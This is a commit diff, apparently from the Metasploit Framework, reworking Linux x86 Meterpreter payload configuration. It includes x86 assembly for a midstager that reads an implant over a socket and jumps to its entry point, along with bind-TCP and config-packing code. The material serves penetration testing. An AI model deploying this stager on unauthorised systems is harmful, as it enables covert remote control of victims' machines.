Initial rework of POSIX stuff to handle new configuration
parent
451484cb0d
commit
9300158c9a
|
@ -44,12 +44,23 @@ module Payload::Linux::BindTcp
|
||||||
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def generate_transport_config(opts={})
|
||||||
|
{
|
||||||
|
:scheme => 'tcp',
|
||||||
|
:lport => datastore['LPORT'].to_i,
|
||||||
|
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||||
|
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||||
|
:retry_wait => datastore['SessionRetryWait'].to_i
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Determine the maximum amount of space required for the features requested
|
# Determine the maximum amount of space required for the features requested
|
||||||
#
|
#
|
||||||
def required_space
|
def required_space
|
||||||
# Start with our cached default generated size
|
# Start with our cached default generated size
|
||||||
space = cached_size
|
# TODO: figure out what this should be
|
||||||
|
space = 300
|
||||||
|
|
||||||
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
|
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
|
||||||
space += 14
|
space += 14
|
||||||
|
@ -107,6 +118,7 @@ module Payload::Linux::BindTcp
|
||||||
int 0x80
|
int 0x80
|
||||||
xchg eax,edi ; restore the socket handle
|
xchg eax,edi ; restore the socket handle
|
||||||
add esp, 0x14
|
add esp, 0x14
|
||||||
|
pop ecx
|
||||||
|
|
||||||
pop ebx
|
pop ebx
|
||||||
pop esi
|
pop esi
|
||||||
|
|
|
@ -18,6 +18,11 @@ class Rex::Payloads::Meterpreter::Config
|
||||||
|
|
||||||
def initialize(opts={})
|
def initialize(opts={})
|
||||||
@opts = opts
|
@opts = opts
|
||||||
|
if opts[:ascii_str] && opts[:ascii_str] == true
|
||||||
|
@to_str = self.method(:to_ascii)
|
||||||
|
else
|
||||||
|
@to_str = self.method(:to_wchar_t)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def to_b
|
def to_b
|
||||||
|
@ -30,13 +35,25 @@ private
|
||||||
@opts[:arch] == ARCH_X86
|
@opts[:arch] == ARCH_X86
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def to_str(item, size)
|
||||||
|
@to_str.call(item, size)
|
||||||
|
end
|
||||||
|
|
||||||
def to_wchar_t(item, size)
|
def to_wchar_t(item, size)
|
||||||
item.to_s.ljust(size, "\x00").unpack("C*").pack("v*")
|
to_ascii(item, size).unpack("C*").pack("v*")
|
||||||
|
end
|
||||||
|
|
||||||
|
def to_ascii(item, size)
|
||||||
|
item.to_s.ljust(size, "\x00")
|
||||||
end
|
end
|
||||||
|
|
||||||
def session_block(opts)
|
def session_block(opts)
|
||||||
uuid = to_wchar_t(opts[:uuid].to_raw, UUID_SIZE)
|
uuid = to_str(opts[:uuid].to_raw, UUID_SIZE)
|
||||||
exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]]
|
if opts[:exitfunk]
|
||||||
|
exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]]
|
||||||
|
else
|
||||||
|
exit_func = 0
|
||||||
|
end
|
||||||
|
|
||||||
session_data = [
|
session_data = [
|
||||||
0, # comms socket, patched in by the stager
|
0, # comms socket, patched in by the stager
|
||||||
|
@ -63,17 +80,17 @@ private
|
||||||
# of other stuff
|
# of other stuff
|
||||||
pack = 'A*VVV'
|
pack = 'A*VVV'
|
||||||
transport_data = [
|
transport_data = [
|
||||||
to_wchar_t(url, URL_SIZE), # transport URL
|
to_str(url, URL_SIZE), # transport URL
|
||||||
opts[:comm_timeout], # communications timeout
|
opts[:comm_timeout], # communications timeout
|
||||||
opts[:retry_total], # retry total time
|
opts[:retry_total], # retry total time
|
||||||
opts[:retry_wait] # retry wait time
|
opts[:retry_wait] # retry wait time
|
||||||
]
|
]
|
||||||
|
|
||||||
if url.start_with?('http')
|
if url.start_with?('http')
|
||||||
proxy_host = to_wchar_t(opts[:proxy_host] || '', PROXY_HOST_SIZE)
|
proxy_host = to_str(opts[:proxy_host] || '', PROXY_HOST_SIZE)
|
||||||
proxy_user = to_wchar_t(opts[:proxy_user] || '', PROXY_USER_SIZE)
|
proxy_user = to_str(opts[:proxy_user] || '', PROXY_USER_SIZE)
|
||||||
proxy_pass = to_wchar_t(opts[:proxy_pass] || '', PROXY_PASS_SIZE)
|
proxy_pass = to_str(opts[:proxy_pass] || '', PROXY_PASS_SIZE)
|
||||||
ua = to_wchar_t(opts[:ua] || '', UA_SIZE)
|
ua = to_str(opts[:ua] || '', UA_SIZE)
|
||||||
|
|
||||||
cert_hash = "\x00" * CERT_HASH_SIZE
|
cert_hash = "\x00" * CERT_HASH_SIZE
|
||||||
cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash]
|
cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash]
|
||||||
|
|
|
@ -17,8 +17,8 @@ module Metasploit3
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Linux Meterpreter',
|
'Name' => 'Linux Meterpreter',
|
||||||
'Description' => 'Staged meterpreter server',
|
'Description' => 'Inject the meterpreter server payload (staged)',
|
||||||
'Author' => ['PKS', 'egypt'],
|
'Author' => ['PKS', 'egypt', 'OJ Reeves'],
|
||||||
'Platform' => 'linux',
|
'Platform' => 'linux',
|
||||||
'Arch' => ARCH_X86,
|
'Arch' => ARCH_X86,
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
|
@ -35,6 +35,7 @@ module Metasploit3
|
||||||
return ep
|
return ep
|
||||||
end
|
end
|
||||||
|
|
||||||
|
=begin
|
||||||
def elf2bin(payload)
|
def elf2bin(payload)
|
||||||
# XXX, not working. Use .c version
|
# XXX, not working. Use .c version
|
||||||
|
|
||||||
|
@ -64,31 +65,76 @@ module Metasploit3
|
||||||
print_status("Converted ELF file to memory layout, #{payload.length} to #{used} bytes")
|
print_status("Converted ELF file to memory layout, #{payload.length} to #{used} bytes")
|
||||||
return mem[0, used]
|
return mem[0, used]
|
||||||
end
|
end
|
||||||
|
=end
|
||||||
|
|
||||||
def handle_intermediate_stage(conn, payload)
|
def handle_intermediate_stage(conn, payload)
|
||||||
# Does a mmap() / read() loop of a user specified length, then
|
entry_offset = elf_ep(payload)
|
||||||
# jumps to the entry point (the \x5a's)
|
config_offset = payload.length - generate_meterpreter.length
|
||||||
|
|
||||||
midstager = "\x81\xc4\x54\xf2\xff\xff" # fix up esp
|
encoded_entry = "0x%.8x" % entry_offset
|
||||||
|
encoded_offset = "0x%.8x" % config_offset
|
||||||
midstager <<
|
encoded_debug_options = "0x%.2x" % datastore['DebugOptions'].to_i
|
||||||
"\x6a\x04\x5a\x89\xe1\x89\xfb\x6a\x03\x58" +
|
|
||||||
"\xcd\x80\x57\xb8\xc0\x00\x00\x00\xbb\x00\x00\x04\x20\x8b\x4c\x24" +
|
|
||||||
"\x04\x6a\x07\x5a\x6a\x32\x5e\x31\xff\x89\xfd\x4f\xcd\x80\x3d\x7f" +
|
|
||||||
"\xff\xff\xff\x72\x05\x31\xc0\x40\xcd\x80\x87\xd1\x87\xd9\x5b\x6a" +
|
|
||||||
"\x03\x58\xcd\x80\x3d\x7f\xff\xff\xff\x77\xea\x85\xc0\x74\xe6\x01" +
|
|
||||||
"\xc1\x29\xc2\x75\xea\x6a\x59\x53\xb8\x5a\x5a\x5a\x5a\xff\xd0\xe9" +
|
|
||||||
"\xd1\xff\xff\xff"
|
|
||||||
|
|
||||||
|
|
||||||
# Patch in debug options
|
|
||||||
midstager = midstager.sub("Y", [ datastore['DebugOptions'] ].pack('C'))
|
|
||||||
|
|
||||||
# Patch entry point
|
|
||||||
midstager = midstager.sub("ZZZZ", [ elf_ep(payload) ].pack('V'))
|
|
||||||
|
|
||||||
# Maybe in the future patch in base.
|
# Maybe in the future patch in base.
|
||||||
|
|
||||||
|
# Does a mmap() / read() loop of a user specified length, then
|
||||||
|
# jumps to the entry point (the \x5a's)
|
||||||
|
midstager_asm = %Q^
|
||||||
|
midstager:
|
||||||
|
and esp, 0xFFFFF254
|
||||||
|
push 0x4
|
||||||
|
pop edx
|
||||||
|
mov ecx, esp
|
||||||
|
mov ebx, edi
|
||||||
|
push 0x3
|
||||||
|
pop eax
|
||||||
|
int 0x80
|
||||||
|
push edi
|
||||||
|
mov eax, 0xC0
|
||||||
|
mov ebx, 0x20040000
|
||||||
|
mov ecx, dword ptr [esp+0x4]
|
||||||
|
push 0x7
|
||||||
|
pop edx
|
||||||
|
push 0x32
|
||||||
|
pop esi
|
||||||
|
xor edi, edi
|
||||||
|
mov ebp, edi
|
||||||
|
dec edi
|
||||||
|
int 0x80
|
||||||
|
cmp eax, 0xFFFFFF7F
|
||||||
|
jb start_read
|
||||||
|
terminate:
|
||||||
|
xor eax, eax
|
||||||
|
inc eax
|
||||||
|
int 0x80 ; sys_exit
|
||||||
|
start_read:
|
||||||
|
xchg ecx, edx
|
||||||
|
xchg ecx, ebx
|
||||||
|
pop ebx
|
||||||
|
read_loop:
|
||||||
|
push 0x3
|
||||||
|
pop eax
|
||||||
|
int 0x80 ; sys_read
|
||||||
|
cmp eax, 0xFFFFFF7F
|
||||||
|
ja terminate ; exit on error
|
||||||
|
test eax, eax
|
||||||
|
je terminate ; exit on error
|
||||||
|
add ecx, eax
|
||||||
|
sub edx, eax
|
||||||
|
jne read_loop ; read more
|
||||||
|
; edx should be at the end, but we need to adjust for the size of the config
|
||||||
|
; block so we know where to write the socket to memory
|
||||||
|
sub ecx, #{encoded_offset}
|
||||||
|
mov [ecx], ebx ; write the socket to the config
|
||||||
|
push #{encoded_debug_options}
|
||||||
|
push ecx ; pass in the configuration pointer
|
||||||
|
mov eax, #{encoded_entry} ; put the entry point in eax
|
||||||
|
call eax
|
||||||
|
jmp terminate
|
||||||
|
^
|
||||||
|
|
||||||
|
midstager = Metasm::Shellcode.assemble(Metasm::X86.new, midstager_asm).encode_string
|
||||||
|
|
||||||
print_status("Transmitting intermediate stager for over-sized stage...(#{midstager.length} bytes)")
|
print_status("Transmitting intermediate stager for over-sized stage...(#{midstager.length} bytes)")
|
||||||
conn.put(midstager)
|
conn.put(midstager)
|
||||||
Rex::ThreadSafe.sleep(1.5)
|
Rex::ThreadSafe.sleep(1.5)
|
||||||
|
@ -100,19 +146,44 @@ module Metasploit3
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate_stage
|
def generate_stage
|
||||||
#file = File.join(Msf::Config.data_directory, "msflinker_linux_x86.elf")
|
meterpreter = generate_meterpreter
|
||||||
|
config = generate_config
|
||||||
|
meterpreter + config
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_meterpreter
|
||||||
file = File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin")
|
file = File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin")
|
||||||
|
|
||||||
blob = File.open(file, "rb") {|f|
|
blob = File.open(file, "rb") {|f|
|
||||||
f.read(f.stat.size)
|
f.read(f.stat.size)
|
||||||
}
|
}
|
||||||
|
|
||||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(blob,
|
blob
|
||||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
end
|
||||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
|
||||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
|
||||||
:retry_wait => datastore['SessionRetryWait'].to_i)
|
|
||||||
|
|
||||||
return blob
|
def generate_config(opts={})
|
||||||
|
unless opts[:uuid]
|
||||||
|
opts[:uuid] = Msf::Payload::UUID.new({
|
||||||
|
:platform => 'linux',
|
||||||
|
:arch => ARCH_X86
|
||||||
|
})
|
||||||
|
end
|
||||||
|
|
||||||
|
# create the configuration block, which for staged connections is really simple.
|
||||||
|
config_opts = {
|
||||||
|
:arch => opts[:uuid].arch,
|
||||||
|
:exitfunk => nil,
|
||||||
|
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||||
|
:uuid => opts[:uuid],
|
||||||
|
:transports => [ generate_transport_config(opts) ],
|
||||||
|
:extensions => [],
|
||||||
|
:ascii_str => true
|
||||||
|
}
|
||||||
|
|
||||||
|
# create the configuration instance based off the parameters
|
||||||
|
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||||
|
|
||||||
|
# return the binary version of it
|
||||||
|
config.to_b
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue